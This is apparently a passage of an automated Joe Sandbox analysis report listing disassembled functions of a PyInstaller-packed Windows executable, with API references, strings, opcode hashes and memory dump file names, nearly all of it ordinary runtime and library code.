Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: 517c45005fecb665460f06d6deeb7a52b86fc8f3bacaeb8cdec2a0b3fdaf0698
Instruction ID: 32be83ce6d4a459b06ada111c58a9cbcabf97a4ca1fea3de9b4d79cda10e9477
Opcode Fuzzy Hash: 517c45005fecb665460f06d6deeb7a52b86fc8f3bacaeb8cdec2a0b3fdaf0698
Instruction Fuzzy Hash: D531B061619AC145EB21AB21F8507EAA354FF88BE4F840331EE7D47BC9EE2CD645C790

Function 00007FF7FF582810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF7FF5828EA

Strings

Error, xrefs: 00007FF7FF5828DD
ERROR, xrefs: 00007FF7FF58286F
[PYI-%d:%ls] , xrefs: 00007FF7FF582868

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
Instruction ID: cd390d2fd8c64561ad633427d078f8982fb251811455d2cae1e41af6ac5b484e
Opcode Fuzzy Hash: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
Instruction Fuzzy Hash: CA21E572708B8192E710AB14F8447EAB7A0FB88780F800232EEAD537A5DF3CD255C790

Function 00007FFBBCD410F0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 28COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBBCD45508: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFBBCD4108E), ref: 00007FFBBCD45516

terminate.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD4112E

Strings

RCC, xrefs: 00007FFBBCD41100
MOC, xrefs: 00007FFBBCD41108
csm, xrefs: 00007FFBBCD41110

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: abortterminate
String ID: MOC$RCC$csm
API String ID: 661698970-2671469338
Opcode ID: 1e1d061888eb5ed8958d1a3f543fee4a516cb38e8faaed4a66704169c3245728
Instruction ID: 554f642da4ab28a5db7cb3dd76db8d78241d499f195cd5c159895385abe14e0d
Opcode Fuzzy Hash: 1e1d061888eb5ed8958d1a3f543fee4a516cb38e8faaed4a66704169c3245728
Instruction Fuzzy Hash: BFF04FFAB18606C2E7509FB9E18A07C3764FB48F40F095132D7480625ADF3CD490C705

Function 00007FFBBB6118BC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

PyLong_AsUnsignedLongLong.PYTHON313(?,?,00000006,00007FFBBB61075D), ref: 00007FFBBB6118C9
PyErr_Occurred.PYTHON313(?,?,00000006,00007FFBBB61075D), ref: 00007FFBBB6118D2
PyErr_SetString.PYTHON313(?,?,00000006,00007FFBBB61075D), ref: 00007FFBBB6159A9

Strings

Value too large for uint32_t type, xrefs: 00007FFBBB61599F

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Err_Long$Long_OccurredStringUnsigned
String ID: Value too large for uint32_t type
API String ID: 944333170-1712686559
Opcode ID: 8ac7a20ae80ccca81888b0cc09755ddc2b0cb9c17cfce0893e9d75e9ca9ceff1
Instruction ID: a0aae4c030610f494001faa2497532e16ab460ee97a78d6992e7791c46e7d6b9
Opcode Fuzzy Hash: 8ac7a20ae80ccca81888b0cc09755ddc2b0cb9c17cfce0893e9d75e9ca9ceff1
Instruction Fuzzy Hash: 53F0B2A1B1864385EA549B39E884178B3A0BB48B84B18E434DB1F46265DE3CEC559308

Function 00007FFBBB615DD4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

PyLong_AsUnsignedLongLong.PYTHON313 ref: 00007FFBBB615DE1
PyErr_Occurred.PYTHON313 ref: 00007FFBBB615DEA
PyErr_SetString.PYTHON313 ref: 00007FFBBB615E12

Strings

Value too large for lzma_mode type, xrefs: 00007FFBBB615E08

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Err_Long$Long_OccurredStringUnsigned
String ID: Value too large for lzma_mode type
API String ID: 944333170-1290617251
Opcode ID: f90cae6687b7eaa245f2c34b10f9a5b2d7e4aa1b650dbb0da9f8c22bb116e6df
Instruction ID: 0ec5f7d11e039eb66e786921364c6d0dcd7d23a701c8aa34b9468ec19e760e97
Opcode Fuzzy Hash: f90cae6687b7eaa245f2c34b10f9a5b2d7e4aa1b650dbb0da9f8c22bb116e6df
Instruction Fuzzy Hash: 55F0DAA5E1964382EA548F39F884134F3A0BF48B84F58E435DB0F46264CE3CEC568308

Function 00007FFBBB615D7C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

PyLong_AsUnsignedLongLong.PYTHON313 ref: 00007FFBBB615D89
PyErr_Occurred.PYTHON313 ref: 00007FFBBB615D92
PyErr_SetString.PYTHON313 ref: 00007FFBBB615DBA

Strings

Value too large for lzma_match_finder type, xrefs: 00007FFBBB615DB0

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Err_Long$Long_OccurredStringUnsigned
String ID: Value too large for lzma_match_finder type
API String ID: 944333170-1161044407
Opcode ID: 01b0d04b65a256c979aae82caa2847c0d8423915d3bc3bd068b60acce2f2a1cf
Instruction ID: e3d9be6fa768cd217569432b046234ccaef4de3e1826c3b0f25d38ff3fec293a
Opcode Fuzzy Hash: 01b0d04b65a256c979aae82caa2847c0d8423915d3bc3bd068b60acce2f2a1cf
Instruction Fuzzy Hash: BEF0D4A1B1964282EA548F39F888138F3A0BF48B84F18A434EB4F46274DE3CEC558308

Function 00007FF7FF59C610 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF7FF59C68F
WriteFile.KERNEL32 ref: 00007FF7FF59C957
WriteFile.KERNEL32 ref: 00007FF7FF59C99D
GetLastError.KERNEL32 ref: 00007FF7FF59CA53

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
Instruction ID: 524178aa164c67a5b5d14dcd063152a926598bebfe668d04ac25221016ce5405
Opcode Fuzzy Hash: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
Instruction Fuzzy Hash: E4D102B2B18AC28AE724DF64D4441EC7771FB44798B848225DE7D97BD9DE38D016C390

Function 00007FF7FF59CFD0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7FF59CFBB), ref: 00007FF7FF59D0EC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7FF59CFBB), ref: 00007FF7FF59D177

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
Instruction ID: cef920b1496819e1980775ef83826ecafb258c76f2f942745081a0b4e0fbf0dd
Opcode Fuzzy Hash: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
Instruction Fuzzy Hash: 2591E732F1869285F774AF6594402FDABA0BB40788F944235DE7E536D4EE3CD442C7A0

Function 00007FFBBCD48EC8 Relevance: 6.2, APIs: 4, Instructions: 193COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFBBCD4B64C: DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4B6DD
Part of subcall function 00007FFBBCD4B64C: DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4B716
Part of subcall function 00007FFBBCD4B64C: DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4BA41

DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD49023
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD49082
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD490B4
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD490C4

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: 21ceaebb6340b33c2880b1d94455a3a587ac808d2dbe1c8140b81e3c0e4e29dc
Instruction ID: dce35f53510821166d8e8d3abb230a172c564d6cc6b6276a234d94c9bba7d76f
Opcode Fuzzy Hash: 21ceaebb6340b33c2880b1d94455a3a587ac808d2dbe1c8140b81e3c0e4e29dc
Instruction Fuzzy Hash: A4917CEAF08A92C9FB10CB79D8883BC37A1BB04788F544036DB5D67694DF79A846C344

Function 00007FF7FF59F9FC Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7FF59FAEC
_get_daylight.LIBCMT ref: 00007FF7FF59FAFD
_get_daylight.LIBCMT ref: 00007FF7FF59FB0E
_isindst.LIBCMT ref: 00007FF7FF59FBD9

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
Instruction ID: 6d9a180b653529e0fa2ef35c5871fd47761ea4722ef20f83899a1128368b7108
Opcode Fuzzy Hash: 4d98307b2f9efdc6516e3695475c092fba069f5f92b05f4e8f1f7e1348ba3a44
Instruction Fuzzy Hash: F651F872F0819186FB28EF2499556FCA7A2AB00358F914335DE3E53AE5DF38E401C790

Function 00007FF7FF5957EC Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF7FF59581F
GetFileInformationByHandle.KERNEL32 ref: 00007FF7FF595881
GetLastError.KERNEL32 ref: 00007FF7FF595912
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7FF595724), ref: 00007FF7FF59595E

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
Instruction ID: c66ffc659509a44edf585ef93c600a7054aa9cfe150748ff6a9b4cafb3a9e980
Opcode Fuzzy Hash: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
Instruction Fuzzy Hash: 1B51BF22E086818AFB28EF71D4503FDA3E1AB44B58F948635DE2D476C9DF38D460C3A0

Function 00007FFBBCD4BB04 Relevance: 6.1, APIs: 4, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFBBCD4B64C: DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4B6DD
Part of subcall function 00007FFBBCD4B64C: DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4B716
Part of subcall function 00007FFBBCD4B64C: DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4BA41

DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4BB84
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4BB93
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4BC0F
DName::operator+.LIBVCRUNTIME ref: 00007FFBBCD4BC1E

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: 0bd3be82ad391ae9cd5c01d857b5e8d25ae8efb4ad2905c542e999dede7c0f10
Instruction ID: 76aff433f5fdfb286c9ed7dda517efc29781528c75e95f0c21c6f8c121aff8d5
Opcode Fuzzy Hash: 0bd3be82ad391ae9cd5c01d857b5e8d25ae8efb4ad2905c542e999dede7c0f10
Instruction Fuzzy Hash: 084166FAB08B8499EB01CFB8C8483AC37A0FB58B48F588125CB4D6B749DF789841C754

Function 00007FF7FF5820C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF7FF5820F4
SetWindowLongPtrW.USER32 ref: 00007FF7FF582116
GetWindowLongPtrW.USER32 ref: 00007FF7FF582140
InvalidateRect.USER32 ref: 00007FF7FF582160

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: ea22a9ceabe4f21caf947149c83ca4085102e6e9c6bc832b16de07e8bfdef316
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: 5A11E521F0C5C282FB54A76AE5442F99A92FB88780FD88230DB7907BD9CD7DD5D1C2A0

Function 00007FFBBB6076FC Relevance: 6.0, APIs: 4, Instructions: 40threadCOMMON

Download Yara Rule

APIs

PyThread_free_lock.PYTHON313 ref: 00007FFBBB607749
PyMem_Free.PYTHON313 ref: 00007FFBBB607776
_Py_Dealloc.PYTHON313 ref: 00007FFBBB60777E

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: DeallocFreeMem_Thread_free_lock
String ID:
API String ID: 2783890233-0
Opcode ID: 4f5a2f9c344497e93ef028251fd81299d8f3afbb09a68fff93368c8b0e6b2a83
Instruction ID: 358acf1180b38118e3eb6dceb59771832f1a0eec72833d9cc836adba8c26595d
Opcode Fuzzy Hash: 4f5a2f9c344497e93ef028251fd81299d8f3afbb09a68fff93368c8b0e6b2a83
Instruction Fuzzy Hash: E911E8A2A0994285EE5D8B7ADD94378A360FB48B95F589130DB1F42574CF2CE8958308

Function 00007FF7FF58D080 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7FF58D0AC
GetCurrentThreadId.KERNEL32 ref: 00007FF7FF58D0BA
GetCurrentProcessId.KERNEL32 ref: 00007FF7FF58D0C6
QueryPerformanceCounter.KERNEL32 ref: 00007FF7FF58D0D6

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
Instruction ID: d956370f095327b0a8fec152f3f840f2f1dfe7a48a71acb42c300fac3105d4b8
Opcode Fuzzy Hash: c7e0dc91749b0d7e19b464317103f3c41f17e8dff95374d43b780ecdfe6bf67b
Instruction Fuzzy Hash: 15114C22B15B458AEB00DB60E8542F973B4FB19758F840E31DA3D477A4DF38D1648390

Function 00007FFBBB63A530 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFBBB63A55C
GetCurrentThreadId.KERNEL32 ref: 00007FFBBB63A56A
GetCurrentProcessId.KERNEL32 ref: 00007FFBBB63A576
QueryPerformanceCounter.KERNEL32 ref: 00007FFBBB63A586

Memory Dump Source

Source File: 00000002.00000002.1507696476.00007FFBBB631000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFBBB630000, based on PE: true

Associated: 00000002.00000002.1507671623.00007FFBBB630000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507748441.00007FFBBB641000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb630000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 925f1272a8eec2639c20e383994221c7073682bc52a01940fe0b830d159c3720
Instruction ID: 889bdc18d39292b128fd983dd8ded0ea3e8b30374b7c8ac14a7160539876e21c
Opcode Fuzzy Hash: 925f1272a8eec2639c20e383994221c7073682bc52a01940fe0b830d159c3720
Instruction Fuzzy Hash: 6F114C62B14F058AEB008F78EC452A873A4FB59B98F040E31DB6E427A8DF3CD955C340

Function 00007FFBAAA65BD4 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFBAAA65C00
GetCurrentThreadId.KERNEL32 ref: 00007FFBAAA65C0E
GetCurrentProcessId.KERNEL32 ref: 00007FFBAAA65C1A
QueryPerformanceCounter.KERNEL32 ref: 00007FFBAAA65C2A

Memory Dump Source

Source File: 00000002.00000002.1498820665.00007FFBAA8A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFBAA8A0000, based on PE: true

Associated: 00000002.00000002.1498796628.00007FFBAA8A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1499325131.00007FFBAAB56000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1499325131.00007FFBAAB77000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1499325131.00007FFBAAB86000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1499325131.00007FFBAAB90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1499325131.00007FFBAABD2000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1499325131.00007FFBAACA1000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1499325131.00007FFBAACA9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1500545912.00007FFBAADB1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1503754396.00007FFBAADC8000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1503793241.00007FFBAADCD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1503828649.00007FFBAADCE000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1503984244.00007FFBAADCF000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1504010283.00007FFBAADD0000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1504054929.00007FFBAADF6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1504180502.00007FFBAADF8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1504224238.00007FFBAAE00000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1507037076.00007FFBAAE41000.00000004.00000001.01000000.00000004.sdmpDownload File
